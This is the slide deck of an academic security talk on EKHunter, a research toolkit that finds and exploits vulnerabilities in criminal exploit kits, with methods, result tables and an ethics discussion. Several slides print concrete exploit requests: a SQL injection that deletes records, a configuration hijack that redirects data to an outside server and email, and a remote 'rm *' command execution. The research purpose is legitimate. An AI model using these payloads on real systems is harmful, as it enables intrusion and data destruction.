EKHunter: A Counter-Offensive Toolkit for Exploit Kit Infiltration

Birhanu Eshete*, Abeer Alhuzali*, Maliheh Monshizadeh*, Phillip Porras†, Venkat Venkatakrishnan*, Vinod Yegneswaran†

*University of Illinois at Chicago (UIC)  †SRI International

Feb 09, 2015, San Diego, CA
Exploit Kits

- malicious toolkits used to exploit vulnerabilities in browsers (plugins) to infect victims with malware
  - Fishing trawlers of the cybercrime industry
- Mostly written in PHP
- Marketed in the underground economy
- Major malware infection mechanisms online
- Sophisticated and constantly evolving
Typical Infection Chain

Victim lured to open link

Re-directions

Victim Enticement

Exploit Payload

Landing Page

Victim profile

Exploit Server

Miscreant
Come with Colorful “Brands”

- **License**: annual, single-domain, multi-domain
- **Exploits**: browsers, plug-ins, known & 0-days
Some Stats.

- “One exploit kit earned its developer $50K a day” (Microsoft Security Intelligence Report-2013)
- “67M exploit kit related events detected in 2014” (Threat Track Security)
- 2/3 of malware delivered by exploit kits (Malwarebytes Report -Jan 2015)
Some Stats. ...

Exploit Kits Observed Since January 2014
SOURCE: Cisco Threat Intelligence Platform

(24) Fiesta
(61) Nuclear
(132) Goon
(14) Blackhole
(9) Styx
(34) CritX
(2) Neutrino
(2) Unknown
(10) G 1

(20) Sweet Orange
(1) Bleeding Life
(1) Zuponicc
(160) Cool
(1) DotCache
(31) GongDa
(1) Glazunov
(81) Angler
(9) RedKit

(# of attacks) Exploit Kit Name

CISCO Midyear Security Report -2014
A Case for Counter-Offense

- Why not take advantage of vulnerabilities in exploit kits to fight cybercrime?

- How?

  - From vulnerabilities to exploits
  - Automated exploit generation and execution
Why Counter-Offense?

• Equip **authorized** cyber-criminal analysts with capabilities to:
  
  ● Initiate **take-down** operations (e.g., as part of Botnet take-down mission)

  ● Collect exploit kit **intelligence** (e.g., prevalence estimation)

  ● Search and **fingerprint** live exploit kits (e.g., to discover new kits)

  ● **Deceive** kit owner (e.g., manipulate infection statistics)
Methodology

- **SQLI**: based on TAPS (in-house, **FC'10**)
- **Access Control**: based on MACE (in-house, **CCS'14**)
- **Multiple Taint-Style**: based on RIPS (open source, **NDSS'14**)

SQL Injection Vulnerability Analysis (based on TAPS)

- **PHP Source**
- **Symbolic Query Generation** → Symbolic Execution  
  → Path Enumeration
- **Constraint-Guided Search**
  - Along Each Path leading to a Query:
  - → Search Constraints (conditional statements)
- **Constraint formula**
  (if satisfied, leads to sensitive sink (= SQLI Vulnerability)
- **Constraint Solver**
Access Control Vulnerability Analysis (MACE)

For Each Resource (DB Table):
- Authorization Context (Query-Path pairs)
- Access Parameters (Query WHERE clause)

Check Conflicts:
- Insert-Insert
- Insert-Delete
- Insert-Update
Multiple Taint-Style Vulnerabilities Analysis (RIPS)

<table>
<thead>
<tr>
<th>Source</th>
<th>Sink</th>
<th>Vulnerability</th>
</tr>
</thead>
<tbody>
<tr>
<td>$_GET</td>
<td>system()</td>
<td>Remote Command Execution</td>
</tr>
<tr>
<td>$_POST</td>
<td>fopen()</td>
<td>File Disclosure</td>
</tr>
<tr>
<td>$_COOKIE</td>
<td>eval()</td>
<td>Remote Code Execution</td>
</tr>
<tr>
<td>$_FILES</td>
<td>include()</td>
<td>File Inclusion</td>
</tr>
<tr>
<td>$_GET</td>
<td>print()</td>
<td>XSS</td>
</tr>
<tr>
<td>$_POST</td>
<td>mysql_query()</td>
<td>SQL Injection</td>
</tr>
</tbody>
</table>

Data Flow Analysis (Intra- & Inter-procedural)

Backward Taint Analysis (Context Sensitive)

Taint-style vulnerabilities
Exploit Generation

**Vulnerability Details**
(location, path, ...)

→ **Server-Side Analysis**

Path Constraints
Attack Constraints

→ **Constraint Solving**

Attack String

→ **Exploit Request Creation**

HTTP Request
Exploit Execution Toolkit (EKHunter)

- **Exploit Kit Detection**
  - our prior tool (WebWinnow, CODASPY'14)
- **Exploit Kit Identification**
  - signature based on structure and behavior of kits
- **Exploit Execution**
  - sending exploit requests and analyzing responses
Dataset

• A total of **30** exploit kit sources
• Collected from multiple **white-hat** sources over a 2years period
• All written in **PHP**
• **No** deployment and configuration instructions
• **4** written in **object-oriented** PHP (Adrenalin, Blackhole, Sploit25, SpyEye)
• **1** with **obfuscated** server-side code (Blackhole)
Overview of Results

● Vulnerability Analysis
  ● 180 vulnerabilities in 16 of the 30 exploit kits
  ● 8 vulnerability classes (SQLI, Access Control, File Manipulation, File Disclosure, Command Execution, Code Execution, Header Injection, File Inclusion)

● Exploit Generation
  ● 10 concrete exploits
  ● 6 exploit kits
  ● 4 classes of vulnerabilities (SQLI, File Manipulation, Command Execution, Access Control)
## Concrete Exploits

<table>
<thead>
<tr>
<th>Concrete Exploit</th>
<th>Adrenalin</th>
<th>Eleonore</th>
<th>ExploitKit</th>
<th>Fragus</th>
<th>FirePack</th>
<th>SpyEye</th>
</tr>
</thead>
<tbody>
<tr>
<td>Hijack DB back-end</td>
<td>X</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Retrieve EK statistics</td>
<td></td>
<td>X</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Steal/change EK configuration</td>
<td></td>
<td></td>
<td></td>
<td>X</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Retrieve kit statistics</td>
<td></td>
<td>X</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Corrupt EK statistics</td>
<td>X</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Deceive kit owner</td>
<td></td>
<td>X</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Tamper victim IP list</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>X</td>
<td></td>
</tr>
<tr>
<td>Delete victim stat from DB</td>
<td></td>
<td></td>
<td></td>
<td>X</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Update table with arbitrary data</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>X</td>
</tr>
<tr>
<td>Update table with arbitrary data</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>X</td>
<td></td>
</tr>
</tbody>
</table>
Hijacking Database Back-end

- **Exploit Kit:** Adrenalin
- **Vulnerability:** File Manipulation (detected by RIPS)
- **Target File:** setup____.php
- **Opportunity:** publicly accessible script with unsanitized inputs
- **Side-Effect:** re-writing database credentials of the kit with preferred details!

```php
... $target = "http://localhost/Adrenalin";
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, "http://$target/setup____.php?mysqlServer=do%3D1%26mysqlServer%3Dmysqlserver.ekhunter.org%26mysqlUser%3Dekhunter-root%26mysqlPassword%3Dekhuner-pass%26mysqlDatabase%3Dekhuner-adrenalin-hijack");
curl_setopt($ch, CURLOPT_HTTPGET, 1);
...
$buf = curl_exec ($ch);
```
Stealing/changing Kit Configuration

- **Exploit Kit**: SpyEye
- **Vulnerability**: File Manipulation (detected by RIPS)
- **Target File**: frm_settings.php
- **Opportunity**: allows remote modification of config. file without authentication
- **Side-Effect**: re-direction of database dump to a preferred email!

```php
$target = "http://localhost/SpyEye";
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, "http://$target/frm_settings.php");
curl_setopt($ch, CURLOPT_HTTPGET, 1);
...
curl_setopt($ch, CURLOPT_POSTFIELDS, "email_backup=SpyEyeDump@ekhunter.org&isIni=1");
...
$buf = curl_exec ($ch);
```
Remote Command Execution

- **Exploit Kit**: FirePack
- **Vulnerability**: Remote Command Execution (detected by RIPS)
- **Target File**: geopip.php
- **Opportunity**: unsanitized input used by file manipulation functions
- **Side-Effect**: remote execution of an “rm *” (could be any other command)!

```php
$target = "http://localhost/FirePack";
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HTTPGET, 1);
...
$buf = curl_exec ($ch);
```
Deleting Victim Statistics

- **Exploit Kit:** Eleonore
- **Vulnerability:** SQL Injection (detected by TAPS)
- **Target File:** stat.php
- **Opportunity:** unsanitized input used in database operation
- **Side-Effect:** deletion of victim statistics from the exploit kit database!

```php
$target = "http://localhost/Eleonore";'";
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, "http://$target/stat.php?del=%20or%201%3D1%20--&sellers2=s2");
curl_setopt($ch, CURLOPT_HTTPGET, 1);
...
$buf = curl_exec ($ch);
```
Deceiving Kit Owner with Arbitrary Update

- **Exploit Kit:** Fragus
- **Vulnerability:** Access Control vulnerability leads to SQLI (detected by MACE)
- **Target File:** click.php
- **Opportunity:** absence of authentication/authorization before execution of an update query
- **Side-Effect:** confusing kit owner by updating victim profile with arbitrary content!

```php
mysql_query("UPDATE ‘donkeys’ SET ‘status’ = ’LOAD’, ‘exploit‘ = ’’ . intval($_GET[‘e’]) . ” WHERE ‘ip‘ = INET_ATON(” . mysql_real_escape_string($_SERVER[‘REMOTE_ADDR’]) . ”’) AND ‘
status‘ = ’NOT’‘));
```

**Exploit Request:** http://localhost/Fragus/click.php?e=<<Injection input>>
Ethical Issues

- Vulnerability Disclosure of Crime-ware
  - Shared results with law enforcement
- Counter-Analysis Against Deployed Systems
  - We did analysis in a lab setting, but efforts like “Operation Ghost Click” could give some directions
- Publication of Methodology and Tools
  - Benefits outweigh negative impacts
- Implications of Reverse Engineering EKs
  - Unlikely to prosecute well-intentioned white-hats
Summary

- **Exploit Kits:**
  - have become common methods to spread malware on the Web

- **EKHunter:**
  - Counter-offensive strategy to fight exploit kits
  - **180** vulnerabilities in **16/30** exploit kits
  - **10** concrete exploits
  - **6** exploit kits
  - **4** classes of vulnerabilities
Thank You!

Questions?

Contact: eshete5@uic.edu
Performance

• Vulnerability Analysis
  • AC-VD & SQLI-VD: avg=1128s, 120s (Fiesta) to 12240s (LuckySploit)
  • MTS-VD: avg=3.5s, 0.2s (Adrenalin) to 35.1s (Fragus)

• Constraint Solver
  • 1-4 conditions in each formula
  • <1s for each exploit on average
Limitations

• Obfuscated server-side code
  • Ex: Blackhole
  • Possible idea: blackbox penetration testing

• Object-oriented server-side code
  • Ex: Adrenalin, Blackhole, Sploit25, SpyEye
  • Possible Idea: developing a transformation technique (Object-oriented PHP code → Structured PHP code, then analysis with existing tools)
Vulnerability Analysis Metrics

<table>
<thead>
<tr>
<th>Exploit Kit</th>
<th>PHP LOC</th>
<th>PHP Files</th>
<th>Include Success</th>
<th>User-Defined Functions</th>
<th>Unique Sources</th>
<th>Sensitive Sinks</th>
<th>Uses Sessions</th>
</tr>
</thead>
<tbody>
<tr>
<td>Adrenalin</td>
<td>1491</td>
<td>12</td>
<td>1/11(9%)</td>
<td>14</td>
<td>8</td>
<td>29</td>
<td>✓</td>
</tr>
<tr>
<td>Armitage</td>
<td>1370</td>
<td>12</td>
<td>12/12(100%)</td>
<td>26</td>
<td>11</td>
<td>189</td>
<td>✓</td>
</tr>
<tr>
<td>Blackhole</td>
<td>11,764</td>
<td>69</td>
<td>2/2(100%)</td>
<td>148</td>
<td>25</td>
<td>261</td>
<td>✓</td>
</tr>
<tr>
<td>Eleonore</td>
<td>2869</td>
<td>12</td>
<td>17/23(74%)</td>
<td>46</td>
<td>31</td>
<td>188</td>
<td>✓</td>
</tr>
<tr>
<td>ExploitKit</td>
<td>2422</td>
<td>5</td>
<td>0/20(0%)</td>
<td>1</td>
<td>32</td>
<td>53</td>
<td>✓</td>
</tr>
<tr>
<td>Fiesta</td>
<td>1736</td>
<td>7</td>
<td>7/7(100%)</td>
<td>23</td>
<td>6</td>
<td>111</td>
<td>✓</td>
</tr>
<tr>
<td>FirePack</td>
<td>1185</td>
<td>8</td>
<td>6/7(86%)</td>
<td>24</td>
<td>8</td>
<td>129</td>
<td>✓</td>
</tr>
<tr>
<td>Fragus</td>
<td>9708</td>
<td>7</td>
<td>2/48(4%)</td>
<td>0</td>
<td>31</td>
<td>174</td>
<td>✓</td>
</tr>
<tr>
<td>Ice-Pack</td>
<td>2819</td>
<td>9</td>
<td>10/13(77%)</td>
<td>39</td>
<td>5</td>
<td>205</td>
<td>✓</td>
</tr>
<tr>
<td>Luckysploit</td>
<td>8640</td>
<td>17</td>
<td>38/182(21%)</td>
<td>28</td>
<td>14</td>
<td>276</td>
<td>✓</td>
</tr>
<tr>
<td>Neon-Exploit</td>
<td>1985</td>
<td>9</td>
<td>10/13(77%)</td>
<td>39</td>
<td>5</td>
<td>205</td>
<td>✓</td>
</tr>
<tr>
<td>SALO-PACK</td>
<td>2613</td>
<td>11</td>
<td>12/12(100%)</td>
<td>22</td>
<td>5</td>
<td>59</td>
<td>✓</td>
</tr>
<tr>
<td>Siberia</td>
<td>2422</td>
<td>3</td>
<td>0/20(0%)</td>
<td>1</td>
<td>32</td>
<td>53</td>
<td>✓</td>
</tr>
<tr>
<td>SmartPack</td>
<td>1492</td>
<td>14</td>
<td>1/75(1%)</td>
<td>0</td>
<td>30</td>
<td>124</td>
<td>✓</td>
</tr>
<tr>
<td>Splot25</td>
<td>1497</td>
<td>10</td>
<td>1/22(5%)</td>
<td>1</td>
<td>12</td>
<td>42</td>
<td>✓</td>
</tr>
<tr>
<td>SpyEye</td>
<td>11,629</td>
<td>94</td>
<td>199/199(100%)</td>
<td>58</td>
<td>96</td>
<td>1171</td>
<td>✓</td>
</tr>
</tbody>
</table>

- Avg SLOC: 3.2K
- Min SLOC: 1.185K (FirePack)
- Max SLOC: 11.8K (SpyEye)
Breakdown by Vulnerability Type

- 8 classes of vulnerabilities
- SpyEye with the highest (77)
Breakdown by Analysis Tools

<table>
<thead>
<tr>
<th>Exploit Kit</th>
<th>Version</th>
<th>AC-VD</th>
<th>SQLI-VD</th>
<th>MTS-VD</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x88</td>
<td>3.0</td>
<td>No</td>
<td>No</td>
<td>No</td>
</tr>
<tr>
<td>Adp2</td>
<td>NA</td>
<td>No</td>
<td>No</td>
<td>No</td>
</tr>
<tr>
<td>Adrenalin</td>
<td>NA</td>
<td>No</td>
<td>No</td>
<td>Yes (4 file manip.)</td>
</tr>
<tr>
<td>Armitage</td>
<td>1.0</td>
<td>No</td>
<td>No</td>
<td>Yes (3 file manip.)</td>
</tr>
<tr>
<td>Blackhole</td>
<td>1.1.0</td>
<td>No</td>
<td>No</td>
<td>Yes (1 file manip.)</td>
</tr>
<tr>
<td>BleedingLife</td>
<td>2.0</td>
<td>No</td>
<td>No</td>
<td>No</td>
</tr>
<tr>
<td>CrimePack</td>
<td>3.1.3</td>
<td>No</td>
<td>No</td>
<td>No</td>
</tr>
<tr>
<td>Cry</td>
<td>NA</td>
<td>No</td>
<td>No</td>
<td>No</td>
</tr>
<tr>
<td>Elenore</td>
<td>1.4.1</td>
<td>Yes</td>
<td>Yes (12 SQLI)</td>
<td>Yes (2 file manip., 1 file disclosure, 16 SQLI)</td>
</tr>
<tr>
<td>ExploitKit</td>
<td>NA</td>
<td>Yes</td>
<td>No</td>
<td>No</td>
</tr>
<tr>
<td>Fiesta</td>
<td>1.8</td>
<td>Yes</td>
<td>No</td>
<td>No</td>
</tr>
<tr>
<td>FirePack</td>
<td>0.18</td>
<td>No</td>
<td>No</td>
<td>Yes (1 code exec, 1 command exec)</td>
</tr>
<tr>
<td>Fragus</td>
<td>1.0</td>
<td>Yes</td>
<td>No</td>
<td>Yes (8 file inc., 3 file manip., 2 SQLI)</td>
</tr>
<tr>
<td>GPack</td>
<td>NA</td>
<td>No</td>
<td>No</td>
<td>No</td>
</tr>
<tr>
<td>IcePack</td>
<td>5.0</td>
<td>No</td>
<td>No</td>
<td>Yes (1 file manip., 1 header inject.)</td>
</tr>
<tr>
<td>Liberty</td>
<td>NA</td>
<td>No</td>
<td>No</td>
<td>No</td>
</tr>
<tr>
<td>LuckySploit</td>
<td>NA</td>
<td>No</td>
<td>No</td>
<td>Yes (2 file disclosure, 1 file inc., 3 file manip., 25 SQLI)</td>
</tr>
<tr>
<td>MPack</td>
<td>0.99</td>
<td>No</td>
<td>No</td>
<td>No</td>
</tr>
<tr>
<td>MultiSploit</td>
<td>NA</td>
<td>No</td>
<td>No</td>
<td>No</td>
</tr>
<tr>
<td>MyPolySploit</td>
<td>NA</td>
<td>No</td>
<td>No</td>
<td>No</td>
</tr>
<tr>
<td>Neon-Exploit-System</td>
<td>NA</td>
<td>No</td>
<td>No</td>
<td>Yes (1 file manip.)</td>
</tr>
<tr>
<td>NeoSploit</td>
<td>2.1</td>
<td>No</td>
<td>No</td>
<td>No</td>
</tr>
<tr>
<td>Net</td>
<td>NA</td>
<td>No</td>
<td>No</td>
<td>No</td>
</tr>
<tr>
<td>Nuke</td>
<td>NA</td>
<td>No</td>
<td>No</td>
<td>No</td>
</tr>
<tr>
<td>RDS</td>
<td>2.0</td>
<td>No</td>
<td>No</td>
<td>No</td>
</tr>
<tr>
<td>SALOPack</td>
<td>NA</td>
<td>No</td>
<td>No</td>
<td>Yes (1 code exec., 1 SQLI)</td>
</tr>
<tr>
<td>Siberia</td>
<td>NA</td>
<td>No</td>
<td>Yes (1 SQLI)</td>
<td>Yes (1 file disclosure, 5 file inc., 5 file manip., 2 SQLI)</td>
</tr>
<tr>
<td>SmartPack</td>
<td>NA</td>
<td>No</td>
<td>No</td>
<td>Yes (1 header inject., 1 file disclosure, 7 file manip.)</td>
</tr>
<tr>
<td>Sploit25</td>
<td>NA</td>
<td>No</td>
<td>No</td>
<td>Yes (2 SQLI)</td>
</tr>
<tr>
<td>SpyEye</td>
<td>1.4.1</td>
<td>No</td>
<td>No</td>
<td>Yes (5 file disclosure, 3 file manip., 69 SQLI)</td>
</tr>
</tbody>
</table>

- MTS-VD: detected 7/8 vulnerability types